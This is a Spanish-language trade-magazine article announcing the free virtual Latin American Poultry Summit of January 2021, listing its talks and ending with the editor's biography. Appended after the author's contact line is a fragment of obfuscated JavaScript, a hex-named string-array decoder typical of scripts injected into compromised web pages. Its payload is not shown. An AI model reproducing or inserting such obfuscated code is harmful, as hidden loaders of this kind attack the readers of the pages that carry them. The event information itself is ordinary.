La Cumbre Avícola Latinoamericana virtual que se realizará los días 25 y 26 de enero de 2021 durante dos horas y media cada día, de las 10 a.m. a las 12:30 p.m. (hora de Atlanta, GTM-5), será de acceso gratuito. Después de cada presentación, habrá espacio para preguntas y respuestas y así motivar a que el público participe.
El tema de este año es “Revisemos los parámetros clave de crecimiento hacia el futuro”, el cual se realizará mediante una plataforma en línea, accesible para participantes de toda Latinoamérica.
Exportación
Los parámetros clave del crecimiento de la industria avícola latinoamericana tienen varias aristas. Una de ellas es el poder exportar para ampliar la producción. De esto nos va a hablar Ricardo Santin, presidente ejecutivo de la Asociación Brasileña de Proteína Animal (ABPA). Todos sabemos que Brasil es el mayor exportador del pollo en el mundo, así que qué mejor que aprender de lo que ellos hacen con esta conferencia magistral.
Salud aviar
Otro parámetro clave es la salud aviar. La avicultura latinoamericana tiene varios frentes abiertos en este ámbito. El Dr. Rafael J. Fernández, experto en enfermedades aviares en muchos países de la región, impartirá la conferencia magistral titulada “Estado sanitario avícola en Latinoamérica: condiciones emergentes y reemergentes, y su control”. El experto revisará las enfermedades que representan una amenaza a la avicultura en la zona, tales como las de tipo respiratorio, las digestivas y las inmunosupresoras.
Commodities
El maíz es, por mucho, el primer ingrediente de las dietas avícolas, por lo que es también un parámetro clave. Ana Ballesteros, directora regional de Marketing del U.S. Grain Council (USGC), impartirá su charla “¿Qué pasa con el maíz y su ingredientes relacionados?”, en la que analizará los datos más recientes sobre la oferta y demanda mundial de este grano de Estados Unidos, así como aspectos relevantes de los otros países productores y exportadores de maíz. Analizará asimismo la demanda mundial, incluyendo una actualización sobre las compras por parte de China.
Salud intestinal
En la nutrición, la salud intestinal es clave para cualquier estrategia de producción. En este caso, la Dra. Dawn Overby, de Dupont, enseñará en su conferencia “Manejo de la salud intestinal con nutrición más allá de los aditivos” a través de la lente de la nutribiosis, que es posible examinar la interacción entre nutrición, microbioma e intestino, y función inmunitaria, y ver cómo afecta y crea un estado neurótico favorable en el ave. Junto con eso, hablará de cómo las combinaciones de diferentes aditivos para alimentos balanceados afectan la salud intestinal y la producción.
Vacunación aviar
La vacunación sobresale hoy en día como clave en la prevención, pues permite un mayor crecimiento de la industria. La charla titulada “Novedades en el desarrollo de vacunas y su posible efecto en el control de enfermedades en Latinoamérica”, será impartida por Jorge Luis Chacón, de Ceva, en la que se analizará cómo puede redundar esta estrategia en la producción regional.
Bienestar avícola
Las dos conferencias restantes tratan sobre las investigaciones realizadas sobre bienestar avícola en ambientes comerciales y enriquecidos por los futuros profesionales avícolas. La primera la imparte la Dra. Rebeca Zamora, de la Universidad de Costa Rica, y la segunda el Dr. Marco Italo Lourenço da Silva, de la Universidade Estadual Paulista. Ambas investigaciones fueron patrocinadas por USPOULTRY y por ALA.
Asista a la Cumbre Avícola Latinoamericana Virtual
Las inscripciones para el programa virtual de la Cumbre Avícola Latinoamericana 2021 ya están abiertas, las cuales. Por esta única ocasión, será sin costo para todos los participantes. El programa se va a presentar completamente en español, por lo que no habrá traducción.
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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15 de diciembre de 2020